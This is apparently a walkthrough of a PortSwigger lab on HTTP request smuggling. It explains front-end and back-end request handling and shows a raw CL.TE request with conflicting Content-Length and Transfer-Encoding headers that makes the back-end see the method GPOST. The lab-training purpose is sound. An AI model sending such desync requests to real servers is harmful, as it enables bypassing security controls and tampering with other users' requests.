Portswigger HTTP Request Smuggling Solution | Karthikeyan Nagaraj

What is HTTP Smuggling?

• HTTP request smuggling is a technique for interfering with the way a website processes sequences of HTTP requests that are received from one or more users.
• Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users

• Today’s web applications frequently employ chains of HTTP servers between users and the ultimate application logic. Users send requests to a front-end server (sometimes called a load balancer or reverse proxy) and this server forwards requests to one or more back-end servers.
• This type of architecture is increasingly common, and in some cases unavoidable, in modern cloud-based applications.
• When the front-end server forwards HTTP requests to a back-end server, it typically sends several requests over the same back-end network connection, because this is much more efficient and performant.
• The protocol is very simple: HTTP requests are sent one after another, and the receiving server parses the HTTP request headers to determine where one request ends and the next one begins:

=========X==========X==========X=========X=========X==========

Lab Description:

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.

To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

Tip — By Portswigger

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Analysis:

1. Capture the Request of the Homepage and send it to Repeater

2. Update the request as below

POST / HTTP/1.1 
Host: YOUR-LAB-ID.web-security-academy.net 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 6
Transfer-Encoding: chunked
0 
G

3. Or Copy paste the code into the repeater with your LAB-ID and send the Request

4. You need to send the request 2–3 times

5. By sending the same request 2nd Time you’ll get and error Unrecognized method GPOST